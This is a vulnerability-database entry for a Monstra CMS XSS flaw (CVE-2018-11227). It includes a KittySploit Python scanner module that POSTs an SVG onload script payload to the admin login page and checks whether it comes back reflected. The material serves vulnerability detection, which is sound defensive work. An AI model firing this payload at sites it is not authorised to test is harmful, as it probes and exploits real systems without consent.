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Monstra CMS <=3.0.4 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Cross-Site Scripting in Monstra CMS via index.php allows arbitrary script injection.

Related
Refs
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
ESTsoft ALZip Arbitrary Code Execution Vulnerability
21 May 201800:00
–cnvd
cve
CVE
CVE-2018-11227
3 Jul 201915:42
–cve
cvelist
Cvelist
CVE-2018-11227
3 Jul 201915:42
–cvelist
euvd
EUVD
EUVD-2018-3267
7 Oct 202500:30
–euvd
nuclei
Nuclei
Monstra CMS <=3.0.4 - Cross-Site Scripting
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2018-11227
3 Jul 201916:15
–nvd
openvas
OpenVAS
Monstra CMS <= 3.0.4 Multiple Vulnerabilities
29 May 201800:00
–openvas
prion
Prion
Design/Logic Flaw
3 Jul 201916:15
–prion
ptsecurity
Positive Technologies
PT-2019-8780
3 Jul 201900:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2018-11227: Improper Neutralization of Input During Web Page Generation
3 Jul 201900:00
–rapid7
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Monstra CMS 3."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Monstra CMS <=3.0.4 - Cross-Site Scripting Detection',
        'description': 'Monstra CMS 3.0.4 and earlier contains a cross-site scripting vulnerability via index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'xss', 'mostra', 'mostracms', 'cms', 'edb', 'monstra', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://github.com/monstra-cms/monstra/issues/438',
            'https://www.exploit-db.com/exploits/44646',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-11227',
            'https://github.com/monstra-cms/monstra/issues',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2018-11227',
    }

    def run(self):
        path = '/admin/index.php?id=pages'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='login="><svg/onload=alert(document.domain)>&password=xxxxxx&login_submit=Log+In\n')
        if not r or r.status_code != 200:
            return False
        body = (r.text or "").lower()
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items()).lower()
        body_all = ('><svg/onload=alert(document.domain)>', 'monstra',)
        header_any = ('text/html',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='Monstra CMS <=3.0.4 - Cross-Site Scripting detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
6.6Medium risk
Vulners AI Score6.6
CVSS 24.3
CVSS 36.1
EPSS0.04733
3